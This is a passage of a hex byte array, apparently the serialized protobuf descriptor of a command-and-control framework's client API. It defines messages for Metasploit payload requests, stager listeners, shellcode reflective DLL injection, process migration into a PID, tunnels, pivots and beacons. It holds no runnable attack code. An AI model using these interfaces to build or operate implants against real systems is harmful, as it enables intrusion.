0x65, 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, + 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, + 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, + 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, + 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, + 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, + 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, + 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, + 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, + 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, + 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, + 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, + 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, + 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, + 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, + 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, + 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, + 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, + 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, + 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, + 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, + 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, + 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0xc6, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, + 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, + 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, + 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, + 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, + 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, + 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, + 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, + 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, + 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xed, + 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, + 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, + 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, + 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, + 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, + 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, + 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, + 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xa2, 0x01, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 